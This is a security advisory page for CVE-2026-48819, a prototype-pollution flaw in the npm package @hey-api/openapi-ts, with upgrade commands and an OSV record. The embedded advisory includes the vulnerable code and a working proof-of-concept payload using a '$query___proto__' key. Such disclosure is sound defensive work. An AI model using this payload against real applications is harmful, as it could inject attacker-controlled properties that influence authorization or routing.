Vulnerabilities in pkg:npm/@hey-api/openapi-ts
PACKAGECVE-2026-48819 is a MODERATE (CVSS 4.8) prototype chain substitution vulnerability (CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')) affecting @hey api/openapi ts libraries in the npm ecosystem. The issue involves prototype chain substitution via unknown `$<slot>___proto__` key. Remediation is available by upgrading affected packages to version 0.97.3.
pkg:npm/@hey-api/openapi-ts
Vulnerability advisories affecting package pkg:npm/@hey-api/openapi-ts. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-hhx9-57xq-r5rw | CVE-2026-48819 | MODERATE | @hey-api/openapi-ts's `buildClientParams` template: prototype chain substitution via unknown `$<slot>___proto__` key |
CVE-2026-48819 at a Glance
Security Impact
CVSS: 4.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N).
How to Fix CVE-2026-48819
To remediate this vulnerability, upgrade all affected @hey api/openapi ts dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @hey-api/openapi-ts@0.97.3
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @hey-api/openapi-ts
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-48819, inspect your project dependencies using npm:
npm ls @hey-api/openapi-ts
Analyze the terminal output to locate any version of @hey api/openapi ts in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.97.3), your application is affected.
Note: The npm ls @hey-api/openapi-ts command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'), where the product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype. In @hey api/openapi ts, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-48819 Affected @hey api/openapi ts Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@hey-api/openapi-ts
|
npm |
< 0.97.3
|
0.97.3
|
References
Frequently Asked Questions
What is CVE-2026-48819?
Which @hey api/openapi ts versions are affected?
What version fixes CVE-2026-48819?
Is @hey-api/openapi-ts affected?
What is the CVSS score of CVE-2026-48819?
What CWE is associated with CVE-2026-48819?
How can I check npm dependencies for CVE-2026-48819?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-hhx9-57xq-r5rw",
"modified" : "2026-07-01T20:55:17Z",
"published" : "2026-07-01T20:55:17Z",
"aliases" : [ "CVE-2026-48819" ],
"summary" : "@hey-api/openapi-ts's `buildClientParams` template: prototype chain substitution via unknown `$<slot>___proto__` key",
"details" : "### Summary\n\n`dist/clients/core/params.ts` in `@hey-api/openapi-ts` ships a runtime template that is copied verbatim into every generated SDK as `params.gen.ts`. When a caller passes an object argument containing an unknown key starting with a slot prefix (`$body_`, `$headers_`, `$path_`, `$query_`), the function strips the prefix and writes the remainder directly to that slot without validation. The key `\"$query___proto__\"` causes the returned `params.query` object to have its prototype chain substituted with attacker-controlled data. The issue is present in all versions through at least `0.97.2`.\n\n### Details\n\nThe vulnerable branch in `dist/clients/core/params.ts`:\n\n```typescript\nconst extra = extraPrefixes.find(([prefix]) => key.startsWith(prefix))\nif (extra) {\n const [prefix, slot] = extra\n ;(params[slot] as Record<string, unknown>)[key.slice(prefix.length)] = value\n}\n```\n\nThis branch runs for any key that (1) is not registered in the field map and (2) starts with one of the four slot prefixes. When a caller passes `\"$query___proto__\"` as an extra key alongside a legitimate field, the key is not in the field map, `key.startsWith(\"$query_\")` is true, and `key.slice(7)` produces `\"__proto__\"`. The bracket-write `params[\"query\"][\"__proto__\"] = value` invokes the `__proto__` setter, which calls `Object.setPrototypeOf(params.query, value)`.\n\n**Reachability.** Every generated endpoint method that accepts an object argument passes it through `buildClientParams`. If the application forwards user-supplied request parameters to a generated client method — a common pattern in proxy servers, BFF layers, and API gateways — an attacker can include `\"$query___proto__\"` alongside a legitimate field (e.g. `\"q\"`). The legitimate field ensures `stripEmptySlots` does not remove the affected slot (it has at least one own key), so the poisoned `params.query` object is returned to the caller.\n\nConcrete field config that hey-api generates for a GET endpoint with one query param `q`:\n\n```typescript\n// generated by hey-api for: GET /search?q=<string>\nbuildClientParams([parameters], [{ args: [{ in: \"query\", key: \"q\" }] }])\n```\n\nA request `{ q: \"hello\", \"$query___proto__\": { isAdmin: true } }` reaches this call with `\"q\"` going to the field map branch and `\"$query___proto__\"` falling through to `extraPrefixes`.\n\n### PoC\n\n```bash\nnpm install @hey-api/openapi-ts@0.97.2\ncp node_modules/@hey-api/openapi-ts/dist/clients/core/params.ts ./params.ts\nnpx tsx poc.ts\n# or: docker build -t heyapi-poc . && docker run --rm heyapi-poc\n```\n\n`poc.ts`:\n\n```typescript\nimport { buildClientParams } from \"./params.ts\";\n\n// Generated fields config for GET /search?q=<string>\nconst generatedFields = [{ args: [{ in: \"query\" as const, key: \"q\" }] }];\n\n// Attacker request: legitimate \"q\" plus injected \"$query___proto__\"\nconst result = buildClientParams(\n [{ q: \"hello\", \"$query___proto__\": { isAdmin: true } }],\n generatedFields\n);\n\nconst q = result.query as any;\nconsole.log(q.q); // \"hello\" — own property, normal\nconsole.log(q.isAdmin); // true — inherited via prototype chain\nconsole.log(Object.keys(q)); // [\"q\"] — own keys only\nfor (const k in result.query) console.log(k); // \"q\", \"isAdmin\"\n```\n\nExpected output:\n\n```\n[CONFIRMED] buildClientParams prototype substitution via $query___proto__ key\n Scenario: GET /search with fields [{ in:'query', key:'q' }]\n Attacker request: { q: 'hello', '$query___proto__': { isAdmin: true } }\n\n result.query.q = hello\n result.query.isAdmin = true ← inherited, NOT own\n Object.keys(q) = [ 'q' ]\n for..in keys = q, isAdmin\n Object.getPrototypeOf = {\"isAdmin\":true}\n```\n\nNo sentinel key is needed. The legitimate field `\"q\"` keeps `params.query` alive through `stripEmptySlots`.\n[reproduce.zip](https://github.com/user-attachments/files/27953600/reproduce.zip)\n\n\n\n### Impact\n\nThe returned `params.query` object has its prototype chain substituted with the attacker-supplied value. Any downstream code that iterates it with `for..in` (e.g., when serializing query parameters for an outgoing HTTP request) will enumerate the injected keys alongside legitimate ones. Applications that check inherited properties on the params object for routing or authorization decisions are also affected.\n\nGlobal `Object.prototype` is not modified — impact is limited to the returned slot object and its consumers.\n\nEvery npm package generated by `@hey-api/openapi-ts` carries this template. Downstream packages include `@opencode-ai/sdk`, `@trigger.dev/sdk`, and others. A fix in the template propagates to all of them on regeneration.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@hey-api/openapi-ts"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.97.3"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/hey-api/openapi-ts/security/advisories/GHSA-hhx9-57xq-r5rw"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/hey-api/openapi-ts"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-1321" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-01T20:55:17Z",
"nvd_published_at" : null
}
}